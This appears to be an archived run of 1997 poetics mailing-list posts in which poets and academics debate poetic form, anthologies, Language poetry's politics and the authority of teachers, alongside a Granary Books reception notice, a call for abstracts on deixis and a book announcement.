just a thought as to how ideology can play itself out in the classroom in undesirable ways... and perhaps in other institutions... the problem, old or new, is that there is insufficient critique of pedagogical authority *in the first place*... which is not to wish away instructional authority...

btw, i like that you're foregrounding the 'consensus' position in such terms---thanx!... i think, in order to continue to turn these conflicts over & over, we'll probably have to agree that it's not a 'consensus' folks are after exactly, except as to our willingness to turn these conflicts over & over!... i mean, the problem is more that certain positions get drowned out, certain aesthetics go unanswered (and unquestioned), than that we don't "agree" (or even "agree to disagree") about same... so it's really more of a dissensus i'm seeking, anyway---which is to say that some 'we' recognizes that there ARE actually controversies, regardless the direction one turns...

best,

joe

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429. eric pape
Re: A branch off the "Disturbed" thread
Mon 17 Mar 1997

Joe: I'm interested in some of the places this thread is going, particularly re: teaching. I think you are quite correct to point out that there has been little if any "critique of pedagogicaly authority" as such, even in some decidedly lefty pedagogical theorists, practitioners, etc. I can think of Graff's teaching the conflicts book some years ago as an example, where I believe that the difference practice of teaching began to be articulated (as far as I know). What strikes me as odd in all this is a kind of elision in any pedagogy in that no one seems to talk about what we think we're doing as teachers. I.e., what the goal of teaching is? This usually gets worked out in terms of a dialectic, unquestioned, of indocrination or improvement. In that those more on the right see teaching as a sort of rite of passage, whereby the student learns "his" culture in order to more properly live as a responsible student within it, such as Bennett's "virtue." Or on the other hand those more on the left see it as some sort of improvement: making better kids, better citizens, better folk in general. The former has at least the benefit of being somewhat practical, but I wonder about the latter. For what, exactly, are we improving them? As O'Hara would ask "for death?" What usually gets taught more than anything else in all this is precisely the pedagogy of authority, which more and more seems to me what the real hidden goal of actually existing teaching. This troubles me, but I wonder what else we can do. In an institutional framework, how do we avoid teaching institutionalization? Just some scattered questions, which ultimately, I think conclude any dialogue re: pedagogy. Thanks, Eric.

↑ Index

430. Christopher Alexander
Re: form
Mon 17 Mar 1997

---

matthias wrttt:
> I do not think form and content need "match up", need reflect each
> other _nec._, : that is to say, not in the manner suggested above: but I
> think they might both be seen as being formed by a situation in which just
> that content, just that form was nec. Perhaps to articulate something new it
> is something nec. to use an old form?
well, I'd say yes ok.
I mean clearly there is no paraphrase etc
so the form of utterance is doing some
kind of work, whatever that form happens
to be. sorry if this is totally disjointed,

for instance. & as several people (joseph?)
have pointed out, a given form can be
enlisted to do various kinds of political
work in different contexts. so for instance,
we both know the argument can be made
for derek walcott's work being in a certain
kind of dialogue with english colonialism that
is differently but not less political than
brathwaite (see for ex terry eagleton's
review of midsummer); & along those lines
would be a sort of adrienne rich or even
marilyn hacker as "stealing the language"
argu. on the other hand, I think it's appropriate
to point up (& I think this is what was
being pointed up in previous posts in this
& the "disturbed" thread) the shortcomings
of those forms, too, particularly as they can
persist unquestioned in the work itself or,
that is, to the degree that the relation of
the form of utterance to meaning remains
unproblematized (form as vessel). ["it's
all-natural & packed with goodness"]. which
is not to imply that we don't at times see
a similar problem in so-called innovative
work, nor to say that problematizing that
relation means necessarily rehearsing the
question in the same way that, for instance,
I (think I) do in my work--a sort of dogmatic etc.
obviously I'm not talking "form" as rhyme
& meter etc anymore but something
broader. hope this is somewhat coherent--
I'm at work & things keep happening
around/to me to pull me away from the pc.

I hear this said a lot round here, & I know,
to be forever saying I'm bored is to admit
that I have "no inner resources"--but, for
what it's worth, one of the problems I have
personally with much of this work is the sense
of having things served to me on a platter:
identity/assertion/tale du jour served up in
a clear glass. whereas, to my mind, thought

involves a bit more work than just "yes, yes"
or "heavens I know the place" or that (god
I hate this) poetry-noise people make at certain
readings I get roped into attending from time
to time, a kind of semi-orgasmic "oh" that
signals "yes, I've been touched" & is sometimes,
for maximal effect, emphasized by bringing
one hand up to brush the chest...

possibly this is less a matter of critique or even
disrespect to the modes in question than disgust
with Patrons of the Arts. but though there are
greater complexities to some of these works,
they do seem to encourage these responses,
which bespeak a kind of "goes down smooth"
commodifying presentation of their ostensibly
political content. too, I have to question [says
"rhetorically"] the rhetoric of visibility &
representation that often supports this mode
of discourse: whether certain language-forms
don't distort what they ostensibly represent by
disallowing some forms of expression altogether.
the difference between chi-chi & mexico is
palpable. & there is the possibility, isn't there,
that arguments for access legitimate the
authority of the dominant culture. which isn't
of course to say "separatism" or "hold the [party]
line, please"--but does explain why a broader
acceptance on both sides is necessary. it's not
a problem with me if gay couples want to
live monogamously in the suburbs--the problem
starts when people think gay couples *have*
to live monogamously in the suburbs in order
to be "legitimate".

a language of "respect" is fine by me, though
I'm not sure what form that would take for
many of us, except possibly Absence of Malice.
I suppose that's what we're trying to work out now.
what does it mean to "respect", let alone "support"
writers whose works I don't have any interest to
read, even if we all "have an interest in" them?

chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

431. **Joseph Lease**
Re: jobs and poetry
Mon 17 Mar 1997

---

couplets aren't necessarily any less time consuming than verse paragraphs or tercets or quatrains

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432. **Joseph Lease**
Re: once more, deeply disturbed
Mon 17 Mar 1997

I don't know: there are anthologies where the only honest principle of selection (the only one that can be discenred and sustained) is the fact of the editor(s): and sometimes, in a weird way, those are more honest than the others

On Sat, 15 Mar 1997, Marjorie Perloff wrote:

> *Two quick points in response to Chris Jenkins, David K and others:*
>
> *1) I am NOT NOT NOT saying that I hope after things shake out we can once again have THE anthology. That's the antithesis of what I said in the article. My whole point is that you can't and don't want to because there are such varied poetries and not one avant-garde.*
> *Moreover, I don't particular want any anthology--I never use one in class if I can avoid it. I go with David Antin's quip that anthologies are to poets like the zoo to animals.*
>
> *2) However--for those who do want to construct anthologies or reanimate the canon (which has never been my sport--I hate the canon debates and think they're a great distraction from real issues), you might as well be upfront and define your own criteria. Clearly, there is no anthology without a principle of selection. So all this talk of reaching out, opening up, caring about others is slightly specious. Reaching out to whom? why? And why not to a million others?*

> *Enough already!*
>
> *Marjorie*

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433. **Joseph Lease**
Re: once more, deeply disturbed
Mon 17 Mar 1997

PS

my previous post (on the fact of the editor(s)) might sound individualist: I don't think it is (the fact of the editor(s) is cultural and historical thick, specific): probable more honestly aware of materialist cultural critique than most soi-disant principles of selection: that (speaking of the phrase soi-disant, which Ashbery supposedly once used, as in the soi-disant NY School): reminds me of why (apart from that old past/present dichotomy) the NY School often seems more theoretically sophisticated than the langpo discourse

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434. **michael corbin**
Re: once more, deeply disturbed aka 'raised in captivity'
Mon 17 Mar 1997

George Bowering wrote:
>
> >. I go with David Antin's quip that anthologies are to
> >>poets like the zoo to animals.
> >>
> >
> >I've been thinking about this. One strong defence of Zoos is educational.
>
> Yes, maybe, but what do the poor creatures learn?

Well they no doubt, along with their zoo-keepers (the reflective ones anyway), contemplate oblivion. Oblivion being that idee-maitresse (not just metaphysical star-dust, mind you) in this one of the single greatest periods of species extinction in the history of the planet. That means now.

So go homo sapiens-sapiens to the zoo and peer side-long into that post-evolutionary abyss.

But then again, I suppose, oblivion is not always pedegogically efficacious; so, indeed, what do the poor creatures (the reflective ones anyway) . . . learn.

mc

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435. **Joseph Lease**
Re: Getting more disturbed
Mon 17 Mar 1997

>
> The emerging consensus, a sort of Rodney King line ("can't we all just get
> along?") is phrased in Robert's post by saying he likes both Perelman and
> Heaney. Similar dunciations of party-lineism can be found with increasing
> frequency; in Rasula's fabulous Wax Museum book, someone is quoted in a
> footnote as stating a similar warning on this listserv. (I have the book
> next to me, but can't find the reference right now.)
>
> I have great sympathy with this; I also feel that the new consensus is
> rising to dominance without as much discussion as I'd like...That was why
> I posted about five days ago, pointing out in very simplistic terms the
> two (now quite old) contemporary nonmainstream paradigms. The one op-
posed
> to get-alongism can be articulated, as I pointed out, in a sharply
> left-political way, as in classic LangPo theory; i.e. Seamus Heaney (or
> Amy Clampitt, or Philip Levine, or Adrienne Rich) work with form in such a
> way as to deaden the sensibility of readers, whereas more challenging
> formal work can empower by demanding that the reader become an active
> co-creator of culture, polity, of the world she lives in. I also have
> great sympathy with this argument, which gets pushed aside without enuff
> thought if we simply agree to have broad tastes.
> >
> Mark Prejsnar
> Atlanta
>
absolutely yes: the above could make a gorgeous manifesto for the activist
awareness of form, formal severity, beauty, discovery, play--

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436. **Ira Lightman**
Re: "deeply disturbed"
Mon 17 Mar 1997

Is there a term that's the equivalent of literacy for consciousness?

So that an empathetic consciousness, able to play and be open, is "literate", and this "literacy" is more important, more a priority for the kind of moralistic educationalist approach one finds in many postings on this thread (or that is expected in halls of learning)?

Isn't literacy a secondary priority to, for example, raising consciousness that we don't kill each other and hurt each other and needlessly miss our opportunities for synergy with each other (human synergy in action, or what we may call caritas)?

What is the bad that results from literary narrowmindedness, or formal conservatism *in writing*?

Can formal conservatism, or even illiteracy, sometimes be the lynchpin of a kind person; and to rattle it is to lose the kind person, a destablising which can be like brainwashing?

(:i.e. the person who's been rattled, by one's negative dialectic, can either go back to where they were through amnesia, or to acceeding to the brainwasher's line: don't very few go on to the independence of mind that is assumed as the point of education, yet is rarely achieved?)

Cannot speech be seen as what's trying to come through the writing, and a kind of consciousness-literacy of a speech community be coming though?

Could this consciousness-raising be being impeded by literacy education, our premium on it, and should itself be impeded?

Is the argument against impeding literacy education the need to have information written down where it can be debated, i.e. law, because without writing you could not challenge leaders in a speech community?

Then, has writing helped us challenge leaders?

I chime most with Fiona Templeton's post:

> "And that much as we may like messing about in the
> matter of our art, doesn't "aesthetic" become
> limited to pretty reshuffle or stylistic
> look-alike if that poetic matter isn't a vehicle for
> being able to see anew in all senses? My terms
> aren't rigorous here either, I just think
> the question is important...."

And these were my other questions.

Ira Lightman

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437. Mark Prejsnar
Re: A branch off the "Disturbed" thread
Mon 17 Mar 1997

Joe--- Yes, I think what you say below (and in the rest of your post) is very on target...A number of folks have posted comments saying that not rejecting and despising "mainstream" verse does not preclude critiquing it, engaging in qualifications and debate, etc., and I think those points are in the same spirit as your call for a dissensus...

I was beginning to feel impatient for someone to point to a form that such a critique-with-respect might take; I feel that Marjorie and Chris S. kind of began to answer that, by getting very concrete in their debate over "Diving into the Wreck." Lots of kudos are due to them, for a good well-focused debate and for turning our discussion somewhat in a more concrete direction.

Mark Prejsnar
Atlanta

On Mon, 17 Mar 1997 [redacted] wrote:

> *btw, i like that you're foregrounding the 'consensus' position in such*
> *terms---thanx!... i think, in order to continue to turn these conflicts*
> *over & over, we'll probably have to agree that it's not a 'consensus' folks*
> *are after exactly, except as to our willingness to turn these conflicts*
> *over & over!... i mean, the problem is more that certain positions get*
> *drowned out, certain aesthetics go unanswered (and unquestioned), than that*
> *we don't "agree" (or even "agree to disagree") about same... so it's really*
> *more of a dissensus i'm seeking, anyway---which is to say that some 'we'*
> *recognizes that there ARE actually controversies, regardless the direction*

> *one turns...*
>
> *best,*
>
> *joe*

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438. **Steven Clay**
Granary Books reception
Mon 17 Mar 1997

We're having a reception for current Granary Books publications to which
I'd like to invite poetics list recipients in the New York City area.
Copy for the announcement follows.
Best,
Steve Clay

_____

Come to Granary and see these
new, fairly new and in-progress books:

*****New
'Kin', text by Anne Waldman & drawings by Susan Rothenberg

'Funagainstawake', Harry Reese's monotypes in dialogue with "The Ten Thunderclaps"
from 'Finnegans Wake'

'Mettle', poem by Kimberly Lyons & images by Ed Epping

*****Fairly New
'Little Orphan Anagram', a collaboration by Susan Bee & Charles Bernstein

'Ligeia', Robert Creeley's first libretto with a set design drawing by Alex Katx

'A Flower Like A Raven', poems by Kurt Schwitters translated by Jerome Rothenberg
& drawings by Barbara Fahrner

'The Word Made Flesh', a facsimile edition of an artists' book by Johanna Drucker

'The Book, Spiritual Instrument', a collection of writings, pictures & interviews
approaching the "ethnopoetics" of the book, edited by
Jerome Rothenberg & David Guss

*****In-Progress
'Vulva's Morphia', images and writings by Carolee Schneemann

'If It Rained Here', Julie Harrison's digital images & Joe Elliot's modular poems

'Ted Berrigan: An Annotated Checklist', compiled by Aaron Fischer with an introduction by Lewis Warsh. Contains "new work"-seldom seen literary pictures made around 1970 in collaboration with George Schneeman

On display will be all of the above as well as
selections from Aaron Fischer's legendary Ted Berrigan collection.
Many (but not all) of the writers and artists will be present.

Friday March 21, 1997 5-7 PM

Granary Books 568 Broadway (corner of Prince) #403
New York, NY 10012 [redacted] / [redacted]

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439. by way of BETH LEE SIMON <[redacted]>" <[redacted]>
Call for abs: forum on deixis
Mon 17 Mar 1997

If you were unable to read it before, here it is again--thanks to Charles Bernstein.

CALL FOR ABSTRACTS/PROPOSALS for a two-session forum

STUDIES IN DEIXIS: WORKING THE MARGINS OF PRAGMATICS AND SEMANTICS

for the Midwest Modern Language Association Meeting,
Chicago, November 6-8, 1997, Ramada Congress Hotel

Abstracts are being accepted for "Studies in Deixis: Working the Margins of Pragmatics and Semantics." The multidimensionality of deixis, a linguistic phenomenon at the heart of communication, remains one of the most intriguing aspects of human language. It is impossible to imagine communication that functions without deixis. Deictic elements such as pronouns, demonstrative adjectives, and spatial or temporal adverbs, express a user-centered perspective on time, place and person relationships in the social context of an utterance; simultaneously, they denote formal grammatical functions within an utterance. The aim of the forum is to bring together scholars working on different aspects of deixis--from formal linguistics to stylistics--to discuss the activity that occurs at the intersection of language and reality/structure and function. Publication of the proceedings is planned.

Abstracts/proposals should be a maximum of 150 words in length and must be received by Friday, April 4, 1997.

Send abstracts (e-mail preferred) to:

Beth Lee Simon, Dept. of English and Linguistics
IPFW, Fort Wayne, IN 46805
[redacted]
fax: [redacted]

and/or

Anna Fellegy, Department of English, 207 Lind Hall, #185,
University of Minnesota, Minneapolis MN 55455
[redacted]

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440. **Joe Safdie**

Re: Contraries/I will not rest from Mental Fight, etc.

Mon 17 Mar 1997

On Mon, 17 Mar 1997, Mark Prejsnar wrote (in part):

> *The emerging consensus, a sort of Rodney King line ("can't we all just get along?") is phrased in Robert's post by saying he likes both Perelman and Heaney. Similar dunciations of party-lineism can be found with increasing frequency; in Rasula's fabulous Wax Museum book, someone is quoted in a footnote as stating a similar warning on this listserv. (I have the book next to me, but can't find the reference right now.)*
>
> *I have great sympathy with this; I also feel that the new consensus is rising to dominance without as much discussion as I'd like...That was why I posted about five days ago, pointing out in very simplistic terms the two (now quite old) contemporary nonmainstream paradigms. The one opposed to get-alongism can be articulated, as I pointed out, in a sharply left-political way, as in classic LangPo theory; i.e. Seamus Heaney (or Amy Clampitt, or Philip Levine, or Adrienne Rich) work with form in such a way as to deaden the sensibility of readers, whereas more challenging formal work can empower by demanding that the reader become an active co-creator of culture, polity, of the world she lives in. I also have great sympathy with this argument, which gets pushed aside without enuff thought if we simply agree to have broad tastes.*

to which Joseph Lease responded:

> *absolutely yes: the above could make a gorgeous manifesto for the activist awareness of form, formal severity, beauty, discovery, play--*

I've loved reading manifestos ever since I first started getting interested in this biz, which, for me, was William Blake and the English Dept., circa 1971 or so.

Blake, as some of us might remember, thought that a good fight had the great virtue of clearing the air -- "without Contraries there's no Progression" -- and thus provocative positions (ANY provocative positions) might help us think through exactly what we feel about the issue at hand. Shelley's (and Sidney's) "Defense(s) of Poetry," Pound's "Three Don'ts," Olson's "Projective Verse," Silliman's "The New Sentence" -- these are all contentious manifestos, demanding response and articulation, not just a lukewarm "Yes but I like Robert Service too" (fill in the blank). So I applaud Mark's post here, and Dodie's earlier one, to the effect that we can and should be arguing different principles of poetics on this list -- with "respect" of course -- and beware of premature synthesis. I mean, what's a poetics list for? Hopefully poetics informs the work (which, by the way, is the OTHER thing we see too little of here! and thanks to Henry and Alan/Jennifer for that); sometimes it's just a necessary clearing of the ground before the work, sometimes it has nothing to do with the work! But, hopefully it has some kind of wit, style, humor, intelligence, i.e. "value" of its own. So, that said . . .

. . . I have a lot of difficulties with the premise that Mark and Joseph advance above. Apologies in advance to the avant-garde gods -- I certainly wouldn't want to be seen as "conventional" -- but for me, Creeley's ancient dictum that Olson takes up in "Projective Verse" solved a lot of problems. That is, CONTENT (however defined) has to start the process -- something is the world is perceived (or "apperceived," as Whitehead would say) -- and this "thing" then creates its own form, which could be endlessly mutable and random, or could be a sonnet. Starting with an idea of form, for me, trivializes the work -- it brings in too many ancillary considerations, it provides work for academics (!), it ultimately deflects attention from the WORK, itself. We follow, if we do, a poem, or book of poems, through to the end because we're momentarily entranced, we want to know what happens, we feel it's important for our lives, that our lives in fact can't proceed until we finish the poem -- yes, of course we help create the meaning as we read, of course we're active participants, but that doesn't arise as a consequence of FORM, it arises because there's something there that preceded the form, that has demanded to be articulated in (yes) just this form, in just this way. (Was it Duncan that said "out of deep need"?)

In other words, it's not an exercise.

So arguing about traditional forms versus post-modernist forms, Rich versus Harryman, etc., I don't know, I just don't see it. A poem "works" -- or not -- for other reasons.

But of course I welcome critique . . .

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441. Joseph Lease
Re: form
Mon 17 Mar 1997

one problem with conversations about form and innovation is the desire for caricature:

it is not precise to say traditional equals conservative:

and:

it is not precise to say traditional does not equal conservative:

so many are suggesting that we start with innovative/traditional with regard to what and why:

and those thick specific descriptions can be starting points:

re: why reach out and to whom?: well, if I may sound Black Mountain (please let me):

the particulars of the poem generate the poet's need to reach out: for example Duncan felt he needed to reach out to George Herbert and what would it have meant to say no that is conservative

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442. Robert Archambeau
Disturbed Tree/Contraries
Mon 17 Mar 1997

Joe Safdie wrote (of Pound, Olson, others):

> *these are all contentious manifestos, demanding response*
> *and articulation, not just a lukewarm "Yes but I like Robert Service too"*

Before I get cast as the Pat Boone of poetic blandness, smiling sweetly in my white bucks, let me say this: what I've said is not that we should appreciate all poetries equally everywhere and always, nor is it that we should simply play nice -- what I've been asking for is an investigation of the plurality of tastes. That is, if someone out there can both assent to Perelman's or Olson's or Pound's dicta, and still say "yes but I like Robert Service too" (a low blow, that, makes me sound unbelievably sniveling) -- what is at work in this person's act of distinction? What work do these (apparently contradictory) aesthetic commitments involve, in a particular context? What I've been asking for is an exploration of this kind.

Dan -- thanks for:

> *I think your post Mark, while articulating your position well, misses*

> *Robert's point. I saw no such pat homile (could be the name of a c&w poet) as 'can't we all just get along'. Rather a discussion of the different values of other less 'experimental' poetries.*

Robert Archambeau

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443. **amato**

Re: A branch off the "Disturbed" thread

Mon 17 Mar 1997

---

eric, i think one way to institutionalize things in constructive ways is to consider turning a certain amount of responsibility over to students... to ask students to take an equal share of responsibility in their own educations... how this plays out in particular classrooms will vary... but in general, when i use a term like "student-centered," i mean instructors learning to let go some... learning to construct courses in which, for example, students have a hand in constructing "assignments"... which, btw, is *not* what is meant, generally --- as i'm sure you know --- when admins use the term (what they mean is that students are now, as consumers, entitled to "excellence" in education --- entitled, that is, to the sort of education that corporations expect of good consumers)...

i hope this doesn't sound like a dodge on my part, as an instructor... i'm willing to accept responsibility --- i just can't be held completely responsible for a desire to learn... albeit i *can be* responsible for creating an environment in which such desire --- its absence or presence, its type and degree of presence --- is an accessible, active part of a course (or discourse)...

i have much in sympathy with the left here in general, and not with the right, insofar as what my ultimate agenda is (a sloppy version would be something like 'helping to build a better world' --- which includes the world of education, mself)... but certainly there are abuses of instructional authority on both the left AND the right --- if we take "left" and "right" to mean where our more specific political sympathies lie... once some folks get to lording it over others, they become real dictators --- no matter their party loyalties... of course, "lording it over" varies in terms of amount of institutional sanction rec'd... a "strict" prof is often viewed positively --- esp. by 'advanced' students in the sciences (believe me) --- *but* if the prof is strict about inculcating the "masterpieces" of "world lit," she will probably face fewer problems from the admin and from students than if she's strict about theorizing the nature of the educational process itself... sad to say, more functional, consumer-oriented types are likely to regard this latter as mere navel-gazing...

best,

joe

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444. **Joseph Lease**

Re: Contraries/I will not rest from Mental Fight, etc.

Mon 17 Mar 1997

---

my whole point is that form is not an exercise: that it must be a discovery and must embody a real need

also I don't think (I'm writing a bit fast this morning) that those were the paragraphs from Mark's post that I included in mine

On Mon, 17 Mar 1997, Joe Safdie wrote:

> *On Mon, 17 Mar 1997, Mark Prejsnar wrote (in part):*
>
> *The emerging consensus, a sort of Rodney King line ("can't we all just get along?") is phrased in Robert's post by saying he likes both Perelman and Heaney. Similar dunciations of party-lineism can be found with increasing frequency; in Rasula's fabulous Wax Museum book, someone is quoted in a footnote as stating a similar warning on this listserv. (I have the book next to me, but can't find the reference right now.)*
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> *I've loved reading manifestos ever since I first started getting interested in this biz, which, for me, was William Blake and the English Dept., circa 1971 or so. Blake, as some of us might remember, thought that a good fight had the great virtue of clearing the air -- "without Contraries there's no Progression" -- and thus provocative positions (ANY provocative positions) might help us think through exactly what we feel about the issue at hand. Shelley's (and Sidney's) "Defense(s) of Poetry," Pound's "Three Don'ts," Olson's "Projective Verse," Silliman's "The New*

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But of course I welcome critique . . .

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445. **David Kellogg**
Form/A branch off the "Disturbed" thread
Mon 17 Mar 1997

From James Scully, _Line Break: Poetry as Social Practice_ (Seattle: Bay Press, 1988)

"We need a provisional, intramural history of poetic technique: one that may not explicitly engage the subtler extra-poetic conditions of poetic practice, but that will approach technique(s) historically, dialectically, rather than as a succession of devices or still lifes. The absence of this history is disabling. Writers (not stylists, who are locked in synchronicity) do assume a technical history. Yet in our time there has been no serious attempt to theorize that history. When and where a history appears, it is as an encyclopedia of discrete fragments and arbitrary givens: a catalog of forms in space. The reasons why there is no such history are many and complex. For instance, even my generalizations about technique are based on the unarticulated technical history that informs, _and is a consequence of_, my own technical practice. There is no metahistorical source of illumination or (re)construction. I understand and reconstitute past technical practices by the light of my own practice (itself 'born' among untheorized absorptions), but that's all any writer does. The point is, this discussion must take place in a primitive half-light. We haven't even begun to _desire_ a shared understanding of what it is that we have been doing. Or why. There is no Darwin or Marx of poetry. Not even a Lévi-Strauss. Poetic technique, like a de rigueur dead saint, is shrouded in more mist than the relations of (economic) production ever were."

Cheers,
David

~~~
~~~

446. **groberts**
zoothology
Mon 17 Mar 1997

The zoo-nalogy has never really persuaded me and the more I think about it the more I am troubled by its implicit organicism. On the face of it, the comparison seems to depend on the idea of representativeness: two polar bears, two poems by x. Poems, however, are not individuals but always exist in multiple states, whereas polar bears are both unique entities and members of a reproductive and ecological class. Sure, both poems and polar bears originate in situations which zoos and anthologies cannot hope to replicate; but the being of bears is altered, probably for the worse, and I do not think of poetry as having the kind of ontological status which can be distorted in that way. Of course, anthologies which aim for representativeness carve up a poem, the work of a poet or of a group, in ways which are usually unsatisfactory to those who are devoted to the uncarved texts and contexts. But when Duncan in "Ideas of the Meaning of Forms" appeals to his "immediate concerns in living" and to "inner need" as justifications for Allen's anthology-groups, he dismisses the possibility of reconfiguring the poetry of his contemporaries in ways other than that which is dependent on his private understanding of his own social network. This network colludes with his poetics of forms, and in the context of an anthology substitutes for it. The collusion is ultimately a kind of organicism which like the zoo analogy is nostalgic for the unbroken body and its radiating concentric textual affiliations. Anthologies can do a better or worse job of sampling poets; to repudiate such sampling I think requires more than a clever quip. I think anthologies can help re-frame poems in ways which are responsible to contexts but which do not make essential claims for definitive representation; they can serve the end of promoting poetry when understood as provisional collections, works in progress. They should never serve as an evasion of the work of discovering and questioning principles of selection, but instead should be an invitation to do so, which is only what we have been stating or suggesting. Comparison to zoos rests on questionable premises.

Gary R

↑ Index

447. **Demian**
Re: form
Mon 17 Mar 1997

Christopher Alexander wrote:
"what does it mean to "respect", let alone "support"

writers whose works I don't have any interest to
read, even if we all "have an interest in" them?"."

"Respect" and "support" of course are completely different things from "like", "admire" or even "advocate".

To respect a work implies an understanding of the poetics which underpins it. If you can understand what impells a poem or poetry, see the logic and agree that the logic is sound, I think you have a degree of respect, and the potential for support; whereas if you see the logic and feel it is flawed in any way, there is unlikely to be any respect and this certaintly precludes support.

You can have a language of respect without liking, admiring or advocating, but I don't believe you can do so without an interest. It should not be a given that it is necessary to respect or support for any given writing, but this doesn't rule out having an open-minded interest to begin with.

↑ Index

448. aerialedge
Stepping Razor by A.L. Nielsen
Mon 17 Mar 1997

---

announcing publication of

Stepping Razor

by A.L.Nielsen

"What Bogart was to crime-flicks, Nielsen is to postmodern poetry--a conscience and a court-jester by turns. Rueful comedy, at once spacey and rigorous, very funny. Read this book if it's the first thing you do." --David Bromige

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Aerial 8: Barrett Watten ed. Rod Smith, $14.95.
Aerial 6/7 featuring John Cage, ed. Rod Smith, $15.

checks payable to Aerial/Edge.

thanks.

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449. **Miekal And**
Re: Disturbance in the Field
Mon 17 Mar 1997

You trust David with your grad students?

Miekal

↑ Index

450. **DS**
Re: A branch off the "Disturbed" thread
Mon 17 Mar 1997

> *This brings up losts of interesting stuff....I see some good points to this critique, but...First off, it simply takes it for granted that form need not be discussed;*

No it doesn't. I believe strongly form should be discussed, but don't expect everyone to have to discuss it before I will talk with them, hell i go to all kinds of movies, but i make a special effort when i feel there is something of quality or groundbreaking (& i don't mean just in special effects) value. I feel the same about poetry.

, I think it muddies things
>quite a bit to conflate Olson and various more recent practitioners in a
>vague way with a somewhat fuzzy "early marxism." The various
>political/poetical formulations at issue here are more carefully worked
>out, in many cases, than to deserve that!

I was trying not to do that, my point was more 'in its non-participation with many it is claiming to be political for'...

I am in no way questioning your activism & empathise with your feelings below. Yours,

dan

> *My own practice on the left, as an activist, for 25 years, makes me VERY wary of folks questioning my beliefs, on the grounds that by being militant I'm forcing my values on some (less empowered) other; that is almost always the argument of the right against the left, in my opinion. My answer, which I feel is accurate, is: this is my struggle, I'm fighting it for me, and for others who I'm in solidarity with; ain't tryng to force anything on anyone;....and mutatis mutanda that applies here.*
>
> *Mark Prejsnar*
> *Atlanta*

↑ Index

451. **DS**

In the disturbed tree

Mon 17 Mar 1997

I think your post Mark, while articulating your position well, misses Robert's point. I saw no such pat homile (could be the name of a c&w poet) as 'can't we all just get along'. Rather a discussion of the different values of other less 'experimental' poetries.

The point i made earlier about old marxist politics - i think is partly reflected in your statement below. My question is - What good left wing politics if the only time you think they are valid in poetry is when linked up with 'language' poetry. Surely politics is about change, and for change you need to reach those people who make change, or pull to gether enough to shout loud enough. So Walcott, Heaney, Rich etc are written off as not adressing adequately questions of language.

So their poetry is not of your taste... I think you can articulate that without dismissing their value to the THOUSANDS of lesser committed poetry participants who glean at least a little political empathy - be that gender, race or colonial issues from their accessible populist art.

I am just aware that many talented, educated non-White poetry readers i have come accross dismiss langpo as WHITE & elitist. While i do not think this a fair accusation & argue my case for langpo frequently, there exists a strong distrust - and you have to admit that on the surface it is a white movement.

I am aware of the necessary value of langpo politics - but what good from sitting on the top of a hill & never going down to drink with other folk & by this action never making them feel welcome in your turf.

Dan Salmon

> *two (now quite old) contemporary nonmainstream paradigms. The one opposed to get-alongism can be articulated, as I pointed out, in a sharply left-political way, as in classic LangPo theory;*

↑ Index

452. **Mark Prejsnar**
Re: Contraries/I will not rest from Mental Fight, etc.
Mon 17 Mar 1997

Joe Safdie--- I hope none of us are quite in favor of "starting with form," so that we have no interest in actual human experience!! But please remember that many a Richard Wilbur fan will look at some of the following and say, there is no real human experience there, it's only about form (I know, because I've had it happen in conversation more than once):

Finnegans Wake
The Kingfishers
Spicer
anything by Zukofsky, practically
Rene Char
Mac Low
Joe Ceravolo

Now, I can't speak for anyone else, but that's a pretty basic reading-list of some works that have shaped me, and that I don't think anyone should consider beyond the pale, too lacking in contact with human experience. When I speak of nonmainstream wrk, that's the ground level from which I assume we're building....Is that a group of poets and works too preoccupied only with form??!!! Yee gods!

Mark Prejsnar

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453. **Susan Wheeler**
Re: A branch off the "Disturbed" thread
Mon 17 Mar 1997

Thanks, Eric, for bringing some of these points back to teaching & its responsibility. There's the rub, eh?

> *What strikes me as odd in all this is a kind of elision in any pedagogy in that no one seems to talk about what we think we're doing as teachers. I.e., what the goal of teaching is? This usually gets worked out in terms of a dialectic, unquestioned, of indocrination or improvement.*

I can only speak in personal terms, and this trope of improvement is necessary to these terms: I can only hope that they are better for the experience after putting in the hours. But by better I mean that they are considering more alternatives, making more conscious choices, questioning their assumptions, understanding a larger dimension (political/ethical/etc.) in these choices and assumptions.

I try to do this in a workshop by giving them a huge breadth of "poetics" texts (journalism as well as theory, and from throughout the 20th century terrain). Because I feel I'm not much of a talker I have never felt comfortable with holding forth, and I still have not found an adequate way of questioning the entire (learned, albeit invested) approach to poetry on the part of a student. I also always begin discussion of a student poem by asking what operations it's employing, as a way of orienting us to it, rather than vice versa and running the risk of skewing all work just to please my own aesthetic/politics. But by reading all of these questioning texts, students generally begin to raise a lot of the bigger issues, and perhaps 80% of the time begin to question themselves, too, before the other students get the chance. They give each other material on a lot of structure aspects (space, metrics, traditional forms, etc.), and here too I supplement with many sides of various arguments around what appears to them at first glance as cut-and-dry "purely formal" approaches. I'm more like an indulgent mom that I want to admit: I don't ever assign them say a sonnet, but I like them to have the whole array, the whole toy chest, at their disposal. What I do give are a lot of throwaway in-class exercises (chance, etc.) to help melt the deep-freeze both graduate and undergraduate writers can lock into when honing this kind of ambivalence about every "speech act."

In an institutional framework, how do we avoid
>teaching institutionalization?

Included in the texts I make them read are a lot of critiques of an academic context for poetry. Students usually come in after reading these impatient with the whole kit&kaboodle, and keen on altering the idea of a workshop. Once again undermining the teacher/writer spell is a big relief to me.

The biggest tangle in this though, privately, is that sometimes I leave a classroom feeling more like a resource room than the kind of critical guide I learned so much from by working against in my own edification. To counteract this, I comment and steer a great deal individually, ever bracketing with my own bias. It often feels ridiculously labyrinthine, this hobbled process o.

Someone noted a week back or so Simon Frith's piece on "value" in the Chronicle of Higher Education 3/14. He wrote that students "should have to think about evaluation and why it matters," but the only example he can offer his participation in a UK jury that awards a music prize and its agreeing that "our decision would be determined not by vote but by persuasion." This conjures articulate defenders of abysmal poems, in the classroom, dissuading other students from their good questions. In truth, I admit, I do judge some poems abysmal, and do my best to explore those good questions.

No doubt this has been discussed ad infinitum in years past on this list and it's been skirted since I signed on (I remember some helpful postings from Dodie), but as someone who went through no MFA mill except now to teach in one, ideas on teaching in an era of etherized value would be much, much appreciated.

Susan W.

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454. **Christopher Alexander**
contracted SUNY
Mon 17 Mar 1997

["pause for a brief inquiry"]:
I heard last night that SUNY profs, with
all negotiations stalled, have been working
9 months without a contract. is this true?!
I admit that I don't always follow the list
so closely, but surely I would have heard
